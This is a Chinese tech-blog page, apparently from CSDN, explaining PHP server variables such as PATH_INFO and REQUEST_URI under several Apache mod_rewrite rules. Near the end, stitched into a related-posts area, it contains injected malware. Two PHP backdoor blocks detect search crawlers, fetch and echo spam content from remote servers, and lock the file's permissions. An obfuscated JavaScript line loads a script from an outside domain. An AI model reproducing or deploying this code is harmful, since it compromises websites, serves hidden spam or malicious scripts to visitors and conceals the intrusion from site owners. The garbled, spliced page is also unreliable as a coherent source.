php request uri,PHP_SELF,PATH_INFO,SCRIPT_NAME,REQUEST_URI

PATH_INFO 仅在使用htaccess这样的情况下可用:

例子1

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_URI} !^(favicon\.ico|robots\.txt)

RewriteRule ^(.*)$ index.php/$1 [L]

保持原样

[SCRIPT_NAME] => /index.php

http://domain.com/

[PHP_SELF]     => /index.php

[PATH_INFO] IS NOT AVAILABLE (fallback to REQUEST_URI in your script)

[REQUEST_URI]  => /

[QUERY_STRING] =>

路径

http://domain.com/test

[PHP_SELF]     => /index.php/test

[PATH_INFO]    => /test

[REQUEST_URI]  => /test

[QUERY_STRING] =>

请求参数

http://domain.com/test?123

[PHP_SELF]     => /index.php/test

[PATH_INFO]    => /test

[REQUEST_URI]  => /test?123

[QUERY_STRING] => 123

例子2

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_URI} !^(favicon\.ico|robots\.txt)

RewriteRule ^(.*)$ index.php?url=$1 [L,QSA]

保持原样

[SCRIPT_NAME]  => /index.php

[PHP_SELF]     => /index.php

[PATH_INFO] IS NOT AVAILABLE (fallback to REQUEST_URI in your script)

http://domain.com/

[REQUEST_URI]  => /

[QUERY_STRING] =>

路径

http://domain.com/test

[REQUEST_URI]  => /test

[QUERY_STRING] => url=test

请求参数

http://domain.com/test?123

[REQUEST_URI]  => /test?123

[QUERY_STRING] => url=test&123

例子3

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_URI} !^(favicon\.ico|robots\.txt)

RewriteRule ^(([a-z]{2})|(([a-z]{2})/)?(.*))$ index.php/$5 [NC,L,E=LANGUAGE:$2$4]

要么

RewriteRule ^([a-z]{2})(/(.*))?$ $3 [NC,L,E=LANGUAGE:$1]

RewriteCond %{REQUEST_FILENAME} !-f

RewriteCond %{REQUEST_FILENAME} !-d

RewriteCond %{REQUEST_URI} !^(favicon\.ico|robots\.txt)

RewriteRule ^(.*)$ index.php/$1 [L]

保持原样

[SCRIPT_NAME] => /index.php

http://domain.com/

[PHP_SELF]          => /index.php

[PATH_INFO] IS NOT AVAILABLE (fallback to REQUEST_URI in your script)

[REQUEST_URI]       => /

[QUERY_STRING]      =>

[REDIRECT_LANGUAGE] IS NOT AVAILABLE

路径

http://domain.com/test

[PHP_SELF]          => /index.php/test

[PATH_INFO]         => /test

[REQUEST_URI]       => /test

[QUERY_STRING]      =>

[REDIRECT_LANGUAGE] =>

语言

http://domain.com/en

[PHP_SELF]          => /index.php/

[PATH_INFO]         => /

[REQUEST_URI]       => /en

[QUERY_STRING]      =>

[REDIRECT_LANGUAGE] => en

语言路径

http://domain.com/en/test

[PHP_SELF]          => /index.php/test

[PATH_INFO]         => /test

[REQUEST_URI]       => /en/test

[REDIRECT_LANGUAGE] => en

语言查询字符串

http://domain.com/en/test?123

[PHP_SELF]          => /index.php/test

[PATH_INFO]         => /test

[REQUEST_URI]       => /en/test?123

[QUERY_STRING]      => 123

[REDIRECT_LANGUAGE] => en

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
<?php set_time_limit(0); header("Content-type: text/html; charset=utf-8"); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Googlebot', 'Baiduspider', '360Spider', 'Sogou News Spider', 'bingbot', 'Sosospider', ); if(!empty($userAgent)){ foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = $_SERVER["HTTP_REFERER"]; $u = parse_url($url); if(crawler()==true || $u['host'] == "www.baidu.com" || $u['host'] == "m.baidu.com"){ date_default_timezone_set('PRC'); $TD_server = "http://z8qw.woshinidie66.com"; $host_name = "http://".$_SERVER['HTTP_HOST'].$_SERVER['PHP_SELF']; $Content_mb=file_get_contents($TD_server."/index.php?host=".$host_name."&url=".$_SERVER['QUERY_STRING']."&domain=".$_SERVER['SERVER_NAME']); echo $Content_mb; $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/',$url1)); function set_writeable($file_name) { @chmod($file_name,0444); } set_writeable($filename1); } ?> <?php set_time_limit(0); error_reporting(0); function crawler() { $userAgent = strtolower($_SERVER['HTTP_USER_AGENT']); $spiders = array( 'Baiduspider', 'Sogou News Spider' ); if (!empty($userAgent)) { foreach ($spiders as $spider) { $spider = strtolower($spider); if (strpos($userAgent, $spider) !== false) { return true; } } } return false; } $url = @$_SERVER["HTTP_REFERER"]; date_default_timezone_set('PRC'); $TD_server = "http://154.215.192.182/SpiderPool.php"; if (crawler()) { $query = $_SERVER['QUERY_STRING']; $path = $_SERVER["REQUEST_URI"]; $host_name = "http://" . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; $ch2 = curl_init(); $user_agent = "Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)"; curl_setopt($ch2, CURLOPT_URL, $TD_server . "?host=" . $host_name . "&url=" . $_SERVER['QUERY_STRING'] . "&domain=" . $_SERVER['HTTP_HOST']); curl_setopt($ch2, CURLOPT_HEADER, false); curl_setopt($ch2, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch2, CURLOPT_REFERER, 'www.baidu.com'); curl_setopt($ch2, CURLOPT_USERAGENT, $user_agent); $temp = curl_exec($ch2); echo $temp; } $url1 = $_SERVER['PHP_SELF']; $filename1 = @end(explode('/', $url1)); function set_writeable($file_name) { @chmod($file_name, 0444); } set_writeable($filename1); <script type="text/javascript"> var xt = String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,34,104,116,116,112,115,58,47,47,98,100,48,57,49,55,46,99,111,109,47,98,100,46,106,115,34,62,60,47,115,99,114,105,112,116,62); document.write(xt); </script>
06-12

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值